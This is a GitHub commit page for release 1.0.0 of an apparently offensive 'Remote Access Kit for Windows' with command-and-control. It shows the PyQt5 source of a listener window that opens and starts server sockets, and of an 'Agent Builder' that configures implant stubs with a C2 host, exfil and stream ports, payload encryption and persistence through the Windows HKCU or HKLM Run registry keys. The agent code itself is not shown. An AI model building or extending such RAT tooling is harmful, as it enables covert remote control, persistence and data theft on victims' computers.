Skip to content
This repository has been archived by the owner on May 25, 2023. It is now read-only.

Commit

Permalink
Release 1.0.0
Browse files Browse the repository at this point in the history
  • Loading branch information
wizardy0ga committed Mar 18, 2022
0 parents commit da9b1bb
Show file tree
Hide file tree
Showing 77 changed files with 3,289 additions and 0 deletions.
314 changes: 314 additions & 0 deletions agent/agent.py

Large diffs are not rendered by default.

Empty file added agent/raw/.keep
Empty file.
Empty file added configs/.keep
Empty file.
Empty file added configs/networking/.keep
Empty file.
Empty file added configs/shells/.keep
Empty file.
Empty file added configs/tokens/.keep
Empty file.
113 changes: 113 additions & 0 deletions core/Qt5/ListenerGUI.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
# M""MMM""MMM""M oo
# M MMM MMM M
# .d8888b. M MMP MMP M dP 88d888b. .d8888b.
# 88' `88 M MM' MM' .M 88 88' `88 88ooood8
# 88. .88 M `' . '' .MM 88 88 88. ...
# `8888P88 M .d .dMMM dP dP `88888P'
# 88 MMMMMMMMMMMMMM Command and Control
# dP
# -------------------------------------------------------------
# [A Remote Access Kit for Windows]
# Author: SlizBinksman
# Github: https://github.com/slizbinksman
# Build: 1.0.0
# -------------------------------------------------------------
from PyQt5.QtWidgets import QWidget,QMenu
from PyQt5.QtCore import QEvent
from PyQt5 import QtCore, QtGui, QtWidgets
from ..Qt5.icons import IconObj
from ..utils.file_paths import CFGFilePath,BGPath
from ..utils.utils import ErrorHandling
from ..logging.logging import NetworkingConfigs,LoggingUtilitys
from ..networking.socket import ServerSocket

class Ui_ListenerGUI(QWidget):

#Function will only append port number to list if its in the correct port range
def CreateNewListener(self):
port_number = self.PortInputBox.text() #Get the port number from the input box
try:
if int(port_number) < 1 or int(port_number) > 65535:#If the port is outside of the logical range
ErrorHandling().raise_error('Invalid Port Number.', #Raise an error
'Port must be in range 1 - 65535.',
'Bad Port Number')
else:
if NetworkingConfigs().add_port_to_config_file(str(port_number)) == True: #If port was able to be appended to cfg cfile,
item = QtWidgets.QListWidgetItem(IconObj().port_icon,port_number) #Create item
self.PortDisplay.addItem(item) # Append value to port display
ServerSocket().create_new_socket(int(port_number)) # Create new socket, bind to current IP address on interface tun0 and append to socket array
else:
pass

except ValueError: #Error handling for invalid data type
ErrorHandling().raise_error('Port must be integer.',
'',
'Invalid Data Type')
except FileNotFoundError: #Error handling for config file not existing
ErrorHandling().raise_error('"ports.txt" Not Found.',
'Add ports.txt to configs/networking',
'ports.txt Not Found')
self.PortInputBox.clear() #Clear the port input box

#Create a content menu when port display is right clicked
def eventFilter(self, source, event):
if event.type() == QEvent.ContextMenu and source is self.PortDisplay:
try: # Use try block to prevent program from crashing if no port exists when port display action code is executed
menu = QMenu(self)
start_listener = menu.addAction('Start Listener') #Add actions to the menu
delete_listener = menu.addAction('Destroy Listener')
action = menu.exec_(self.mapToGlobal(event.globalPos())) #GlobalPos will make sure context menu opens where mouse is clicked
#port_number will get the value from the box that gets clicked. the value is our port number
port_number = source.itemAt(event.pos()).text() #This line will crash the program without the try/except block
if action == start_listener:
ServerSocket().start_listening_on_socket(port_number)
NetworkingConfigs().record_listening_socket(port_number)
if action == delete_listener:
row = self.PortDisplay.currentRow() # Get the row number of the selected listener
self.PortDisplay.takeItem(row) # Remove port from gui
ServerSocket().remove_socket_from_array(port_number) # Delete the listener with the row number
NetworkingConfigs().remove_port_from_config_file(port_number) #Remove port number from config file

return True
except Exception:
return False #Returns false for calling funciton
return super().eventFilter(source, event)

#Function adds existing listeners to port display and creates sockets for them. socket creation func will not make socket if it has been created already
def add_existing_listeners(self):
ports_from_config = LoggingUtilitys().retrieve_file_data(CFGFilePath().server_sockets).split()
for port in ports_from_config:
ServerSocket().create_new_socket(int(port)) #Create, bind and append socket to socket array
item = QtWidgets.QListWidgetItem(IconObj().port_icon,port) #Create item
self.PortDisplay.addItem(item) #Add item to port gui

def setupUi(self, Dialog):
Dialog.setWindowIcon(IconObj().sat_win_icon)
Dialog.setObjectName("Dialog")
Dialog.resize(318, 158)
font = QtGui.QFont()
font.setFamily("Bitstream Vera Sans")
font.setBold(True)
font.setWeight(75)
Dialog.setFont(font)
Dialog.setStyleSheet(f"background-image: url({BGPath().cheap_loic_lol});")
self.CreateListenerButton = QtWidgets.QPushButton(Dialog,clicked=lambda: self.CreateNewListener())
self.CreateListenerButton.setGeometry(QtCore.QRect(210, 120, 100, 31))
self.CreateListenerButton.setObjectName("CreateListenerButton")
self.PortInputBox = QtWidgets.QLineEdit(Dialog)
self.PortInputBox.setGeometry(QtCore.QRect(10, 120, 101, 33))
self.PortInputBox.setObjectName("PortInputBox")
self.PortDisplay = QtWidgets.QListWidget(Dialog)
self.PortDisplay.setGeometry(QtCore.QRect(10, 10, 101, 91))
self.PortDisplay.installEventFilter(self)
self.PortDisplay.setAcceptDrops(False)
self.PortDisplay.setStyleSheet("")
self.PortDisplay.setObjectName("PortDisplay")
self.add_existing_listeners() #Add existing listeners saved in ports.txt to ports display
self.retranslateUi(Dialog)
QtCore.QMetaObject.connectSlotsByName(Dialog)

def retranslateUi(self, Dialog):
_translate = QtCore.QCoreApplication.translate
Dialog.setWindowTitle(_translate("Dialog", "Listeners"))
self.CreateListenerButton.setText(_translate("Dialog", "Create"))
189 changes: 189 additions & 0 deletions core/Qt5/agent_builder_window.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
# M""MMM""MMM""M oo
# M MMM MMM M
# .d8888b. M MMP MMP M dP 88d888b. .d8888b.
# 88' `88 M MM' MM' .M 88 88' `88 88ooood8
# 88. .88 M `' . '' .MM 88 88 88. ...
# `8888P88 M .d .dMMM dP dP `88888P'
# 88 MMMMMMMMMMMMMM Command and Control
# dP
# -------------------------------------------------------------
# [A Remote Access Kit for Windows]
# Author: SlizBinksman
# Github: https://github.com/slizbinksman
# Build: 1.0.0
# -------------------------------------------------------------
from ..logging.logging import DNSconfigs,NetworkingConfigs
from ..builder.agent_builder import Builder
from ..utils.utils import ErrorHandling
from ..networking.IP_Handler import NicHandler
from ..Qt5.icons import IconObj

from PyQt5 import QtCore, QtGui, QtWidgets

class Ui_builder_dialog(object):

#Function will parse builder options from gui before calling create agent function
def check_builder_options(self):
reg_key = '' #Set reg_key to empty string
encryption_option = False #Set encryption key to false

if self.hkcu_radio.isChecked(): #If HKCU run key is checked
reg_key = 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' #Return key
perst_option = 'reg/run' #Return registry key persistence option
elif self.hklm_radio.isChecked(): #If HKLM is checked
reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' #Return key#Return registry key
perst_option = 'reg/run' #Return registry key persistence option
elif self.none_radio.isChecked(): #If no persistence option is selected
reg_key = 'null' #Set reg key to string null to avoid error
perst_option = None #Set perstistence option to none

if self.encryption_radio.isChecked(): #if the encryption radio is checked
encryption_option = True #Set encryption to true

if reg_key == '': #If reg key is stil empty string,
ErrorHandling().raise_error('Persistence option required.','','Build Failure') #Raise error
return #Return back to calling function
else:
#If no error, parse host option and then create the agent
host = NicHandler().validate_host(self.host_combobox.currentText())
Builder().create_agent(
self.port_input.text(), self.stream_port_input.text(), self.exfil_port_input.text(),
host, self.file_name_input.text(),reg_key,perst_option,encryption_option)

def setupUi(self, builder_dialog):
builder_dialog.setObjectName("builder_dialog")
builder_dialog.resize(460, 479)
builder_dialog.setStyleSheet("background-color: rgb(0, 0, 0);")
builder_dialog.setWindowIcon(IconObj().builder_icon)
self.networking_group_box = QtWidgets.QGroupBox(builder_dialog)
self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.networking_group_box.setFont(font)
self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);")
self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter)
self.networking_group_box.setObjectName("networking_group_box")
self.host_combobox = QtWidgets.QComboBox(self.networking_group_box)
self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27))
self.host_combobox.setObjectName("host_combobox")
for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file
self.host_combobox.addItem(domain) #add domain to dropdown menu
self.host_combobox.addItem('Local IP')
self.host_combobox.addItem('Public IP')
self.host_label = QtWidgets.QLabel(self.networking_group_box)
self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21))
font = QtGui.QFont()
font.setPointSize(13)
self.host_label.setFont(font)
self.host_label.setObjectName("host_label")
self.port_label = QtWidgets.QLabel(self.networking_group_box)
self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19))
font = QtGui.QFont()
font.setPointSize(13)
self.port_label.setFont(font)
self.port_label.setObjectName("port_label")
self.port_input = QtWidgets.QLineEdit(self.networking_group_box)
self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31))
self.port_input.setObjectName("port_input")
self.obfuscation_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.obfuscation_groupbox.setGeometry(QtCore.QRect(10, 120, 441, 101))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.obfuscation_groupbox.setFont(font)
self.obfuscation_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.obfuscation_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.obfuscation_groupbox.setObjectName("obfuscation_groupbox")
self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox)
self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24))
self.encryption_radio.setObjectName("encryption_radio")
self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.persistance_groupbox.setFont(font)
self.persistance_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.persistance_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.persistance_groupbox.setObjectName("compilation_groupbox")
self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24))
self.hkcu_radio.setObjectName("raw_script_radio")
self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24))
self.hklm_radio.setObjectName("pyinstaller_radio")
self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox)
self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24))
self.none_radio.setObjectName('none_radio')
self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.socket_groupbox.setFont(font)
self.socket_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.socket_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.socket_groupbox.setObjectName("socket_groupbox")
self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33))
self.exfil_port_input.setObjectName("exfil_port_input")
self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port())
self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox)
self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33))
self.stream_port_input.setObjectName("stream_port_input")
self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port())
self.label = QtWidgets.QLabel(self.socket_groupbox)
self.label.setGeometry(QtCore.QRect(20, 40, 67, 19))
self.label.setObjectName("label")
self.label_2 = QtWidgets.QLabel(self.socket_groupbox)
self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20))
self.label_2.setObjectName("label_2")
self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog)
self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(14)
self.file_settings_groupbox.setFont(font)
self.file_settings_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);")
self.file_settings_groupbox.setAlignment(QtCore.Qt.AlignCenter)
self.file_settings_groupbox.setObjectName("file_settings_groupbox")
self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox)
self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33))
self.file_name_input.setObjectName("file_name_input")
self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox)
self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21))
font = QtGui.QFont()
font.setPointSize(12)
self.file_name_label.setFont(font)
self.file_name_label.setObjectName("file_name_label")
self.build_stub_button = QtWidgets.QPushButton(builder_dialog,clicked=lambda: self.check_builder_options())
self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41))
font = QtGui.QFont()
font.setFamily("Courier 10 Pitch")
font.setPointSize(15)
self.build_stub_button.setFont(font)
self.build_stub_button.setObjectName("build_stub_button")

self.retranslateUi(builder_dialog)
QtCore.QMetaObject.connectSlotsByName(builder_dialog)

def retranslateUi(self, builder_dialog):
_translate = QtCore.QCoreApplication.translate
builder_dialog.setWindowTitle(_translate("builder_dialog", "Agent Builder"))
self.networking_group_box.setTitle(_translate("builder_dialog", "Networking Settings"))
self.host_label.setText(_translate("builder_dialog", " Host"))
self.port_label.setText(_translate("builder_dialog", "Port"))
self.obfuscation_groupbox.setTitle(_translate("builder_dialog", "Obfuscation"))
self.encryption_radio.setText(_translate("builder_dialog", "Encrypt Payload"))
self.persistance_groupbox.setTitle(_translate("builder_dialog", "Persistence"))
self.hkcu_radio.setText(_translate("builder_dialog", "HKCU\\Run"))
self.hklm_radio.setText(_translate("builder_dialog", "HKLM\\Run"))
self.none_radio.setText(_translate("builder_dialog", "None"))
self.socket_groupbox.setTitle(_translate("builder_dialog", "Socket Settings"))
self.label.setText(_translate("builder_dialog", "Exfil Port"))
self.label_2.setText(_translate("builder_dialog", "Stream Port"))
self.file_settings_groupbox.setTitle(_translate("builder_dialog", "File Settings"))
self.file_name_label.setText(_translate("builder_dialog", "File Name"))
self.build_stub_button.setText(_translate("builder_dialog", "Build Stub"))

Loading

0 comments on commit da9b1bb

Please sign in to comment.